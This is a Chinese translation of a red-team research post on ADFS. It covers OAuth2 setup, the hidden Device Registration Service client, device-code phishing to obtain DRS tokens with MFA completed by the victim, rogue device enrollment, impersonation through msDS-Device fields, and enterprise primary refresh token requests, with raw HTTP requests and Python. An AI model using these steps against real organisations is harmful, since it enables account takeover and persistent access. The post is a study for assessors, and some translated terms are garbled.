ADFS — 继承 DRS 的遗产

126 阅读26分钟

微软一段时间以来一直在试图让客户远离 ADFS,这已经不是什么秘密了。除了给它贴上“弃用”的标签外,我遇到的每一份文档最终都解释了为什么现在应该使用 Entra ID 来代替 ADFS。

然而……我们仍然到处都能遇到它!即使在已经采用 Entra ID 的组织中,我们也有混合加入环境,这些环境通常将联合身份验证与云管理混合在一起。因此,虽然追逐闪亮的新事物是件好事,但围绕 ADFS 构建知识仍然是一种值得度过夜晚的方式。

因此,在这篇文章中,我们将重点介绍一些 ADFS 内部结构。我们将避开那些已经被讨论得烂透了的 SAML 领域,而是研究 OAuth2,以及它如何支持类似于 Entra ID 安全功能的功能,例如设备注册和主刷新令牌。

说实话,我不确定这篇文章在实际意义上有多大用处。我曾尝试收集面向互联网的 ADFS 服务器的数据,以了解有哪些配置可以帮助我完善我的研究,但我发现这个领域太有趣了,不能留在我的 Notion 笔记本上任其腐烂。

因此,如果一个人能够利用这些内容在未来的评估中实现他们的目标,或者只是了解该msDS-Device对象存在的原因,那么它就值得发布。

ADFS 和 OAuth2

如果您认为 ADFS 主要是一个 SAML 令牌生成器,那也情有可原。毕竟,大多数事后技术都侧重于 Golden SAML 等领域,这些领域多年来已在无数次交战中成功使用。

但 ADFS 的另一面是 OAuth2。当然,微软使用的术语带有“Microsoft Stank”的外衣(我的同事@hotnops在介绍对 Entra ID 疯狂行为的研究时喜欢这样称呼它),但它本质上是一个 OAuth2 提供商。

我将首先简要概述 ADFS 上的 OAuth2,为我们稍后讨论的内容奠定基础。

让我们从如何设置简单的 OAuth2 集成开始。在 ADFS 管理控制台中,我们有“应用程序组”:

这是 ADFS 允许配置 OAuth2 客户端和服务器的地方。我们将设置一个新的应用程序组并将其命名为“测试应用程序组”,我们将在其中看到许多模板:

Microsoft 通过“更多信息”按钮提供了每个模板的概述,但文档中的这张表提供了一组有用的翻译,以帮助您理解 Microsoft 的 OAuth2 术语:

现在,让我们选择“Web 浏览器访问 Web 应用程序”模板。我们将使用ClaimsXRay.net Web 应用程序作为目标,这是一个用于测试 IdP 集成的出色应用程序(仿照 Microsoft 自己已弃用的 ClaimsXRay 服务)。

在下一个屏幕上,我们需要分配Client Identifier并重定向 URI,我们将其设置为https://claimsxray.net/token

请记下,Client Identifier稍后将用于识别我们的客户端配置。

下一个对话框确定谁可以访问 OAuth2 资源提供程序。我们再次选择“允许所有人”,以允许所有经过身份验证的 ADFS 用户访问该应用程序,但有多个选项可以限制允许哪些帐户访问:

我们还需要做的另一件事是配置 CORS。这允许 ClaimsXRay 在用代码交换访问令牌时向 ADFS 发出 XHR 请求。

与 ADFS 的情况一样,没有管理控制台选项可以执行此操作,而是需要使用 PowerShell:

Set-AdfsResponseHeaders -EnableCORS $trueSet-AdfsResponseHeaders -CORSTrustedOrigins https://claimsxray.net

类似地,如果我们想从头开始使用 PowerShell 创建这种集成,我们可以使用: 

New-AdfsApplicationGroup -Name ClaimsXRayGroupAdd-AdfsNativeClientApplication -Name ClaimsXRayClient -ApplicationGroupIdentifier ClaimsXRayGroup -Identifier https://claimsxray.net/ -RedirectUri https://claimsxray.net/tokenAdd-AdfsWebApiApplication -Name ClaimsXRayServer -Identifier https://claimsxray.net/ -AllowedClientTypes Public -ApplicationGroupIdentifier ClaimsXRayGroupGrant-AdfsApplicationPermission -ClientRoleIdentifier https://claimsxray.net/ -ServerRoleIdentifier https://claimsxray.net/ -ScopeNames @('email''openid')# Enable CORS supportSet-AdfsResponseHeaders -EnableCORS $trueSet-AdfsResponseHeaders -CORSTrustedOrigins https://claimsxray.net

这样我们就完成了。我们可以通过在ClaimsXRay.net上启动流程来测试一切是否正常,提供上面生成的客户端 ID 以及我们实验室 ADFS 实例的 URL:

如果单击“登录”,则应该看到返回了访问令牌。根据openid请求的范围,我们还将获得身份令牌:

现在我们对 ADFS 如何在非常高的层次上处理 OAuth2 注册有了一些了解,让我们开始看看一些较少记录的功能。

设备注册服务

在逆向 ADFS 时,我发现二进制文件中嵌入了许多“隐藏”的 OAuth2 客户端 ID:

引起我注意的是DrsClientIdentitier。如果 DRS 这个术语看起来很熟悉,很可能是因为您在 Entra ID 世界中遇到过它,即设备注册。但对于那些喜欢自己管理设备注册的组织来说,DRS 也以各种形式在本地得到支持。现在,当我说“支持”时,需要进行大量的工作才能让 DRS 真正独立工作,所以我认为它已经被微软抛弃了。您更有可能在之前已在 Entra ID 之前启用过 DRS 的组织中遇到这种情况,或者作为我们稍后将探讨的 Entra ID Hybrid Join 场景的一部分。

要在 ADFS 上启用 DRS,您可以使用“设备注册”功能,该功能将部署在 Active Directory 中支持此功能所需的先决条件:

如果我们通过路径查询 ADFS /EnrollmentServer/contract?api-version=1.2,我们会得到一个 DRS 描述符列表:

这些指向我们稍后将探索的各种 DRS API 服务,但在我们讨论得太超前之前,让我们快速了解一下 ADFS 身份验证方法,以便我们可以为稍后的设备身份验证做好准备。

身份验证方法

ADFS 有“外部网络”和“内部网络”的概念。对于大多数组织而言,ADFS 通过 Web 代理在外围公开,内部网络用户通常直接与 ADFS 服务交互。

您可以看到,此拆分已填充到 ADFS 的配置中,其中端点被清楚地列出(在本例中为“已启用”和“已启用代理”,因为在 Microsoft 世界中保持一致的术语很难):

这种区别还通过 ADFS 支持的身份验证方法体现出来,允许使用不同的方法来验证每个“外部网”和“内部网”的凭据(告诉过你微软一致的术语很难):

您在工作过程中可能遇到过以下几种选项。例如,“表单身份验证”是 ADFS 登录表单的呈现形式:

“Windows 身份验证”是您过去无疑尝试过传递的 NTLM/Kerberos WIA 方法,并且仅在 Intranet 上受支持。

为了使 DRS 正常运行,有“设备身份验证”选项,需要启用该选项并可通过您有权访问的 Extranet/Intranet 区域访问。

设备身份验证需要启用 DRS,但不幸的是,对于我们这些攻击者来说,默认情况下它并未启用。因此,您更有可能在传统环境或使用混合连接的环境中看到这种情况。

根据配置,设备身份验证可以通过多种方式运行。在 ADFS ≥ 2016 中,我们有:

  • 客户端 TLS
  • 前列腺癌逆转录酶
  • 密钥认证

设备身份验证的方法部分由Set-AdfsGlobalAuthenticationPolicyPowerShell 命令行控制:

Set-AdfsGlobalAuthenticationPolicy –DeviceAuthenticationMethod All

开箱即用,ADFS 2012 仅支持ClientTLS。但是 ADFS ≥ 2016 使用SignedToken

那么我们如何枚举租户来确定启用的设备身份验证方法呢?这主要是一场淘汰赛。如果我们想ClientTLS在没有访问配置的情况下查看是否为 ADFS 启用了设备身份验证,curl则使用参数对端点的请求trace将显示以下内容:

curl -k 'https://adfs.lab.local/adfs/ls/idpinitiatedsignon.aspx?client-request-id=77de249e-f9b5-4921-c301-0080000000b9' -v -X POST -d 'SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut' --trace out.txt

我们在客户端证书请求 (13) 中寻找MS-Organization-AccessCA。如果您看到此信息,则表示ClientTLS您请求的网络端点已启用设备身份验证。这意味着如果我们拥有适当的设备身份验证证书,我们就可以向 ADFS 进行身份验证。

如果我们想要检查是否启用,我们需要使用字符串内的字符串PKeyAuth发出请求:;PKeyAuth/1.0``User-Agent

curl -k 'https://adfs.lab.local/adfs/ls/idpinitiatedsignon.aspx?client-request-id=77de249e-f9b5-4921-c301-0080000000b1' -v -X POST -d 'SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut' --user-agent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0);PKeyAuth/1.0

``

如果响应返回的是302to,urn:http-auth:PKeyAuth那么我们就知道使用了 PKeyAuth:

< HTTP/1.1 302 Found< Content-Length: 0< Content-Type: text/html; charset=utf-8< Location: urn:http-auth:PKeyAuth?SubmitUrl=https%3a%2f%2fadfs.lab.local%3a443%2fadfs%2fls%2fidpinitiatedsignon.aspx%3fclient-request-id%3d77de249e-f9b5-4921-c301-0080000000b1&nonce=P5180krdKaElqhmYzkkNYw&Version=1.0&Context=4e5a62d9-12f7-4898-9a4e-f3cd11c65a1a&CertAuthorities=OU%253d82dbaca4-3e81-46ca-9c73-0950c1eaca97%252cCN%253dMS-Organization-Access%2b%252cDC%253dwindows%2b%252cDC%253dnet%2b&client-request-id=77de249e-f9b5-4921-c301-0080000000b1

如果以上两种情况都不成立,则表示使用了 PRT 身份验证。我们将在文章中进一步讨论此选项。

现在我们了解了设备身份验证的工作原理,下一个问题是......所有这些密钥、证书、身份验证信息存储在哪里?

msDS-设备

您可能遇到过msDS-DeviceLDAP 类,它位于CN=RegisteredDevices,DC=domain,DC=com容器中:

msDS-Device对象是已注册设备的表示。与Computer对象不同,它不是安全主体,但它确实包含许多熟悉的属性,例如:

  • altSecurityIdentities
  • msDS-KeyCredentialLink

由于msDS-Device不是安全主体,因此“影子凭证”之类的东西将无法工作,因为没有与设备关联的身份。那么这里存储的是什么呢?

在 的情况下msDS-Device,该altSecurityIdentities字段用于存储我们在设备注册期间生成的设备身份验证证书的公钥。

还有另一个重要字段,msDS-RegisteredOwner它与用于创建设备注册的用户帐户的 SID 相关联msDS-RegisteredUsers

这就是根据我们上面评论的身份验证方法略有不同的地方。如果ClientTLS正在使用,并且我们使用设备注册期间使用的证书进行身份验证,则您以 ADFS 身份进行身份验证的用户帐户将是这些字段的 SID。如果使用,情况并非如此SignedToken,所以我相信这是一个在 PRT 成为常态之前的旧版 ADFS 设备注册的示例。

这也意味着,如果在评估期间您发现自己对某个msDS-Device对象具有写权限(并且已启用设备身份验证ClientTLS),则您可以通过更新msDS-RegisteredOwnermsDS-RegisteredUsers字段以指向任何用户的 SID,以任何主体的身份向 ADFS 进行身份验证。

正如我上面提到的,msDS-Device在设备注册期间创建并填充字段。让我们看一下设备实际注册的身份验证过程。

创建 DRS 访问令牌

要通过 DRS 进行身份验证,我们需要一个 OAuth2 访问令牌。我们在文章开头的反汇编中观察到的 DRS 客户端 ID 是“公开的”,这意味着在发出请求时不需要知道任何 OAuth2 机密。

我们可以使用Get-AdfsClient命令行来验证这一点:

RedirectUri我们还可以看到身份验证所需的支持。

因此,如果我们拥有 ADFS 上帐户的有效凭据,则可以使用以下命令启动 DRS 客户端 OAuth2 流程:

GET /adfs/oauth2/authorize?response_type=code& client_id=dd762716-544d-4aeb-a526-687b73838a22& resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A& redirect_uri=ms-app://windows.immersivecontrolpanel/ HTTP/1.1host:adfs.lab.local

这将启动授权代码流程,并且根据启用的身份验证方法,我们可以使用凭据登录以创建 OAuth2 授权代码。如果我们成功验证,我们将看到code传递回重定向 URI 的参数:

然后使用以下命令将此代码交换为访问令牌:

POST /adfs/oauth2/token HTTP/1.1Host: adfs.lab.localUser-Agent: Windows NT 1Content-Type: application/x-www-form-urlencodedContent-Length: 536grant_type=authorization_code&code=eNSvPCotu0yaI4ttVB1WXA.Dn...&client_id=dd762716-544d-4aeb-a526-687b73838a22&redirect_uri=ms-app%3A%2F%2Fwindows.immersivecontrolpanel%2F

希望我们能取回访问令牌:

然而,这里需要注意的一个重要事项是,DRS 服务已分配以下身份验证策略:

这意味着如果我们作为用户帐户向 ADFS 进行身份验证,则需要 MFA(或者我们可以作为计算机帐户进行身份验证并绕过这一步骤,但这目前不太有用)。

那么如果我们命中这个 ACL 会发生什么?在身份验证期间,我们将看到以下错误:

不幸的是,如果这个访问控制策略到位,这将阻止我们尝试msDS-Device使用被盗凭证创建一个,除非……

DRS OAuth2 客户端支持设备代码流

说实话,设备代码流甚至存在于 ADFS 中对我来说还是个新鲜事,但事实确实如此。而且默认情况下,它已为 DRS 客户端启用。事实上,默认情况下,它已为 ADFS 上的每个 OAuth2 客户端启用,这在评估其他 OAuth2 集成时应该会很有趣。

/adfs/oauth2/devicecode那么这是如何工作的呢?为了启动 DRS 的这个流程,您首先需要使用我们的客户端 ID 和资源进行调用:

POST /adfs/oauth2/devicecode HTTP/1.1Host: adfs.lab.localContent-Type: application/x-www-form-urlencodedContent-Length: 103client_id=dd762716-544d-4aeb-a526-687b73838a22&resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A

这将返回您常用的 OAuth2 设备代码信息: 

HTTP/1.1 200 OK...{"device_code":"8uODMKe4OEGu4[...]8fG640TTMxOQ","expires_in":899,"interval":5,"message":"To sign in, use a web browser to open the page https:\/\/adfs.lab.local\/adfs\/oauth2\/deviceauth and enter the code SYGTLXSGB to authenticate.","user_code":"SYGTLXSGB","verification_uri":"https:\/\/adfs.lab.local\/adfs\/oauth2\/deviceauth","verification_uri_complete":"https:\/\/adfs.lab.local\/adfs\/oauth2\/deviceauth?user_code=SYGTLXSGB&client-request-id=b08b3ca6-6a56-4cf3-1b00-0080000000e3","verification_url":"https:\/\/adfs.lab.local\/adfs\/oauth2\/deviceauth"}

然后,你将受害者引导至所示的 URL(你也可以使用参数预先填充代码user_code

https://adfs.lab.local/adfs/oauth2/deviceauth?user_code=SYGTLXSGB

当用户进行身份验证时(并且希望完成所需的 MFA 步骤以验证上述 ACL),您可以access_token通过以下调用来检索/adfs/oauth2/token

POST /adfs/oauth2/token HTTP/1.1Host: adfs.lab.localContent-Type: application/x-www-form-urlencodedContent-Length: 587client_id=dd762716-544d-4aeb-a526-687b73838a22&device_code=8uODMKe4OEGu4Ku[...]cqx5rXGQ8MbNPM6J5iQ&grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code&resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A

通过access_token返回的(以及refresh_token我们稍后将需要的),我们有一个范围为 DRS 服务的身份验证令牌。

那么,一旦我们有了访问令牌,我们如何将其转变为设备注册?

设备注册Web服务

您可能之前DeviceEnrollmentWebService.svc已经在端点的 XML 中看到过/EnrollmentServer/contract

该 Web 服务可与资源的访问令牌一起使用urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A来注册新msDS-Device资源。

我们用来使用此端点注册设备的 SOAP 请求的格式是:

POST https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc HTTP/1.1Content-Type: application/soap+xml; charset=utf-8...<s:Envelopexmlns:s="http://www.w3.org/2003/05/soap-envelope"xmlns:a="http://www.w3.org/2005/08/addressing"xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512"xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization"> <s:Header>  <a:Actions:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action>  <a:MessageID>urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749</a:MessageID>  <a:ReplyTo>   <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>  </a:ReplyTo>  <a:Tos:mustUnderstand="1">https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc</a:To>  <wsse:Securitys:mustUnderstand="1">   <wsse:BinarySecurityTokenValueType="urn:ietf:params:oauth:token-type:jwt"EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2Np[...]BoX3Jyck1xWjZNQQ==</wsse:BinarySecurityToken>  </wsse:Security> </s:Header> <s:Body>  <wst:RequestSecurityToken>   <wst:TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</wst:TokenType>   <wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>   <wsse:BinarySecurityTokenValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10"EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEz[...]MXIJ7lClxV7</wsse:BinarySecurityToken>   <ac:AdditionalContextxmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">    <ac:ContextItemName="DeviceType">     <ac:Value>Windows</ac:Value>    </ac:ContextItem>    <ac:ContextItemName="ApplicationVersion">     <ac:Value>6.3.9600.0</ac:Value>    </ac:ContextItem>    <ac:ContextItemName="DeviceDisplayName">     <ac:Value>testlabwin8</ac:Value>    </ac:ContextItem>   </ac:AdditionalContext>  </wst:RequestSecurityToken> </s:Body></s:Envelope>

这里的重要字段是:

  • 标头- 这是我们在身份验证期间检索到的BinarySecurityTokenbase64 编码access_token
  • 正文BinarySecurityToken- 我们生成的用于签名的 PKCS#10 编码 CSR

当我们发出此请求时,我们会收到带有签名证书的响应:

HTTP/1.1 200 OKContent-Length: 3866Content-Type: application/soap+xml; charset=utf-8Server: Microsoft-HTTPAPI/2.0Strict-Transport-Security: max-age=31536000; includeSubDomainsDate: Sat, 14 Dec 2024 21:29:05 GMT<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RSTRC/wstep</a:Action><a:RelatesTo>urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749</a:RelatesTo></s:Header><s:Body><RequestSecurityTokenResponseCollection xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><RequestSecurityTokenResponse><TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</TokenType><RequestedSecurityToken><BinarySecurityToken ValueType="http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentProvisionDoc" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">PHdhcC1wcm92aXNpb25pbmdkb2MgdmVyc2lvbj0iMS4xIj4NCiAgPGNoYXJhY3RlcmlzdGljIHR5&#xD;cGU9IkNlcnRpZmljYXRlU3RvcmUiPg0KICAgIDxjaGFyYWN0ZXJpc3RpYyB0eXBlPSJNeSI+DQog&#xD;[...]OERmUSswS25ENjY3aTZvWlk0RTY3eGhCYVA3dG1Sb24xR0xucENYQzBzeGoiIC8+DQogICAgICAg&#xD;IDwvY2hhcmFjdGVyaXN0aWM+DQogICAgICA8L2NoYXJhY3RlcmlzdGljPg0KICAgIDwvY2hhcmFj&#xD;dGVyaXN0aWM+DQogIDwvY2hhcmFjdGVyaXN0aWM+DQo8L3dhcC1wcm92aXNpb25pbmdkb2M+</BinarySecurityToken></RequestedSecurityToken><RequestID xmlns="http://schemas.microsoft.com/windows/pki/2009/01/enrollment">0</RequestID><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="UserPrincipalName"><Value>itadmin@lab.local</Value></ContextItem></AdditionalContext></RequestSecurityTokenResponse></RequestSecurityTokenResponseCollection></s:Body></s:Envelope>

不幸的是,这不会是另一个 ESC99 式攻击,因为用于签署令牌的 CA 是 ADFS 内部 CA,而不是 ADCS(我能读懂你的想法)。但我们稍后使用设备身份验证时会需要它。

如果我们采用这个 base64 编码的证书并对其进行解码,我们会得到如下内容:

<wap-provisioningdoc version="1.1">  <characteristic type="CertificateStore">    <characteristic type="My">      <characteristic type="User">        <characteristic type="E2246E3845E4928781128D6A4832B84EF1149FAF">          <parm name="EncodedCertificate" value="MIID/jCCAuagAwIBAgIQXXMccvjIsqdJ3Rd5smED[...]gDO1wJL3j" />        </characteristic>      </characteristic>    </characteristic>  </characteristic></wap-provisioningdoc>

我们获取该EncodedCertificate值并对其进行 base64 解码以生成我们签名的公钥证书。通常最好将其与私钥组合成 PFX,如下所示:

openssl pkcs12 -export -out device_cert.pfx -inkey private_key.pem -in device_registration.crt

因此,一旦我们完成此 SOAP 请求并获得签名的证书,我们将在 Active Directory 中找到我们的新msDS-Device对象:

如果我们打算使用 访问 ADFS ClientTLS,那么这应该足够了。但是,正如我们稍后在查看 时会看到的那样SignedToken,使用这种 SOAP API 方法创建新 存在一些问题msDS-Device。对我们来说最大的问题是msDS-KeyCredentialLinkAD 中未填充该属性(对于任何曾经探索过 Entra ID 的人来说,您可能知道这是 PRT 配置过程中使用的会话传输密钥所必需的)。

顺便说一句,我“认为”这个 Web 服务实际上是用来支持 DRS 的早期迭代的,那时 Entra ID 还没有与 Windows 紧密集成。在 Windows 8 时代,DRS 是一种更简单的设备身份验证证书生成方法,使用ClientTLS,这解释了为什么msDS-KeyCredentialLink从未使用过该参数……但这只是猜测。

注册服务器 REST API

端点中引用的第二个端点/EnrollmentServer/contract/EnrollmentServer/device/服务:

https://enterpriseregistration.windows.net/EnrollmentServer/device/这可能看起来很熟悉,因为它是Entra 设备注册期间使用的服务的克隆。

这个 REST API 是创建新对象的更完整方法,msDS-Device因为它允许我们为其提供值msDS-KeyCredentialLink(非常感谢@DrAzureAD和帖子“深入研究 Azure AD 设备加入”,它节省了大量的时间和精力来揭示这个请求的结构,你对信息安全领域的贡献总是值得赞赏的!):

POST https://adfs.lab.local/EnrollmentServer/device/?api-version=1.0 HTTP/1.1Content-Type: application/soap+xml; charset=utf-8User-Agent: dd762716-544d-4aeb-a526-687b73838a22Host: adfs.lab.localAuthorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkFZcS1lSE5wVHdmcnFxVHcwM3k0d3NJRTBHUSIsImtpZCI6IkFZcS1lSE5wVHdmcnFxVHcwM3k0d3NJRTBHUSJ9.eyJhdWQiOiJ1cm46bXMtZHJzOjQzNERGNEE5LTNDRjItNEMxRC05MTdFLTJDRDJCNzJGNTE1QSIsImlzcyI6Imh0dHA6Ly9hZGZzLmxhYi5sb2NhbC9hZGZzL3NlcnZpY2VzL3RydXN0IiwiaWF0IjoxNzM0MzA2NDc1LCJuYmYiOjE3MzQzMDY0NzUsImV4cCI6MTczNDMxMDA3NSwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvaW1wbGljaXR1cG4iOiJpdGFkbWluQGxhYi5sb2NhbCIsInJzIjoibm90ZXZhbHVhdGVkIiwidGhyb3R0bGVkIjoiZmFsc2UiLCJhbXAiOiJGb3Jtc0F1dGhlbnRpY2F0aW9uIiwiYXV0aF90aW1lIjoiMjAyNC0xMi0xNVQyMzo0Nzo1NC44NjdaIiwiYXV0aG1ldGhvZCI6InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiYW5jaG9yIjoid2luYWNjb3VudG5hbWUiLCJ1cG4iOiJpdGFkbWluQGxhYi5sb2NhbCIsInByaW1hcnlzaWQiOiJTLTEtNS0yMS0zODU5Mjg2ODc4LTI4NTc1NjM3MjQtMTA1OTM5NjI5Ny0xMDAwIiwidW5pcXVlX25hbWUiOiJsYWJcXGl0YWRtaW4iLCJ3aW5hY2NvdW50bmFtZSI6ImxhYlxcaXRhZG1pbiIsImFtciI6InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiYXBwaWQiOiJkZDc2MjcxNi01NDRkLTRhZWItYTUyNi02ODdiNzM4MzhhMjIiLCJhcHB0eXBlIjoiUHVibGljIiwiY2xpZW50dXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzMS4wLjY3NzguODYgU2FmYXJpLzUzNy4zNiIsImVuZHBvaW50cGF0aCI6Ii9hZGZzL29hdXRoMi9hdXRob3JpemUiLCJpbnNpZGVjb3JwbmV0d29yayI6ImZhbHNlIiwicHJveHkiOiJBREZTUHJveHkiLCJjbGllbnRyZXFpZCI6IjEwMWNjYzI3LTMwNDgtNGJlMi0wYTAwLTAwODAwMDAwMDBlMyIsImNsaWVudGlwIjoiMTkyLjE2OC4xMzAuMTAiLCJmb3J3YXJkZWRjbGllbnRpcCI6IjEwMC43Ny45NC41MSIsInVzZXJpcCI6IjEwMC43Ny45NC41MSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vYXV0aG9yaXphdGlvbi9jbGFpbXMvUGVybWl0RGV2aWNlUmVnaXN0cmF0aW9uIjoidHJ1ZSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vYXV0aG9yaXphdGlvbi9jbGFpbXMvZGV2aWNlcmVnaXN0cmF0aW9ucXVvdGEiOiIyMTQ3NDgzNjQ3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS9hdXRob3JpemF0aW9uL2NsYWltcy9hY2NvdW50U3RvcmUiOiJBRCBBVVRIT1JJVFkiLCJ2ZXIiOiIxLjAifQ.UuHeR9KWONFQnxC0hnppid1HgCA5dZZ9Xw9RCZn9bTHkBUZzJ_fquD19z2OWJhQOg1VBr4yVlYTHwqJELmYEiCsSXX5iMkSK0GMoZywPP4N1yvgtgEpnYHxYSKhM3M7tj1s2HfsWxTAS7d6dm95y3rujIZOeWghN9XxAX6rn2x7ZRFvhffB3XGbTEiK9-WByawJtA0yjr5bg2zzykbPPFlA9j1M5ql94K5tvcP0zXA5i74n5I55KgnEO-Ba9gWu0FTBo0R4Gjuwfu6vFQ-GYCeWSVQjTeVg66G3IGB5JE8O2Ko94XQ-IGy5aNj0sdcDE0Zw3cV9PaVb7n6QDy0mAigContent-Length: 1792Cache-Control: no-cache { "TransportKey""UlNBMQAIAAADA[...]Gckayg68kIQ9iGtkxN52fQ==",  "JoinType":4,  "DeviceDisplayName""New Test Device",  "OSVersion":  "Windows 6.1.2.3",  "CertificateRequest":  {     "Type":  "pkcs10",     "Data":  "MIICijCCAXICAm6G5l[...]B1KAjEaLjcav/sOBzZhLRxoMXIJ7lClxV7"  },  "TargetDomain":  "lab.local",  "DeviceType":  "x64",  "Attributes":  {      "ReuseDevice":  true,      "ReturnClientSid":  true,      "SharedDevice":  false  }}

我们使用更传统的标头对该服务进行身份验证Authorization,并提供我们的 DRS 访问令牌作为承载者。

再次强调,关于此请求的主体,还有几点需要注意。首先是JoinType。可以将其设置为以下值之一(遗憾的是,并非所有值都受支持):

namespace Microsoft.DeviceRegistration.Entities{	public enum JoinType	{		DeviceJoin, // 0		DeviceUserJoin, // 1		DeviceRenew, // 2 		DeviceUserRenew, // 3		WorkplaceJoin, // 4		WorkplaceRenew, // 5		DomainJoin, // 6		UnJoin // 7	}}

现在还存在TransportKey早期服务调用中缺少的值。

对此的响应再次是签名的证书:

HTTP/1.1 200 OKContent-Length: 1552Content-Type: application/json...{  "Certificate":{    "Thumbprint":"C367257B04D86A371A04E58256CE96687F91CBB4",    "RawBody":"MIID/jCCAuagA[...]oQz0JVEdcZBfPhPAadyLFvjS6KiieWwQwsop2+R"  },  "User":{    "Upn":"itadmin@lab.local"  },  "MembershipChanges":[  {    "LocalSID":"S-1-5-32-544",    "AddSIDs":[]  }]}

这再次产生了一个新msDS-Device对象,但是现在该msDS-KeyCredentialLink属性已填充为我们的TransportKey值:

现在我们可以注册我们的设备了,那么我们如何使用之前探索过的设备身份验证方法进行自我身份验证呢?

好吧,我们已经ClientTLS在这篇文章中讨论了很多,这是您的基本证书认证(我通常只使用 Burp Suite 来进行此操作):

但如果ClientTLS没使用呢?

企业主刷新令牌

我的另一个新发现是 ADFS 支持主刷新令牌。正如我们之前所看到的,这是 ADFS 2016 之后支持的默认设备身份验证方法SignedToken

它的工作原理与 Entra ID 大致相同,因此我必须大力赞扬@_dirkjan以及他通过ROADTools、 博客文章和培训在该领域所做的出色工作。他的工作和知识共享提供了大量示例和代码,供在 ADFS 上查看时使用。

因此首先我们需要一个随机数,该值请求自/adfs/oauth2/token

POST https://adfs.lab.local/adfs/oauth2/token HTTP/1.1Content-Type: application/soap+xml; charset=utf-8User-Agent: dd762716-544d-4aeb-a526-687b73838a22Host: adfs.lab.localContent-Length: 24Cache-Control: no-cachegrant_type=srv_challenge

此调用的响应返回 nonce 值:

HTTP/1.1 200 OK ... {     “Nonce”:“eyJWZXJzaW9uIjoxLCJFbmVVhzQU5[...]dHJ1ZX0” }

接下来我们需要请求 PRT。这是通过创建一个使用我们生成的设备证书签名的 JWT 承载令牌来完成的:

POST /adfs/oauth2/token HTTP/1.1Host: adfs.lab.localContent-Type: application/x-www-form-urlencodedContent-Length: 7808grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&request=eyJhbGciOiJSUzI1NiIsI...

此 JWT 所需的内容记录在MS-OAPXBC中。与 Entra ID 一样,我们可以使用以下三种方法之一在 JWT 中验证我们的用户:

  • 用户名 / 密码
  • 刷新令牌
  • 已签名的 JWT

为了我们的目的,我们将使用刷新令牌,因为我们已经从之前的设备代码身份验证流程中获得了该令牌:

def generate_prt_request(client_id, nonce, device_cert, grant_type, refresh_token="", username="", password=""):        header = {        "alg""RS256",        "x5c"generate_x5c(device_cert)    }        payload = {        "client_id": client_id,        "scope""aza openid",        "request_nonce": nonce        }          payload["grant_type"] = "refresh_token"    payload["refresh_token"] = refresh_token        token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)        return token

如果一切顺利,我们将在响应中收到 PRT:

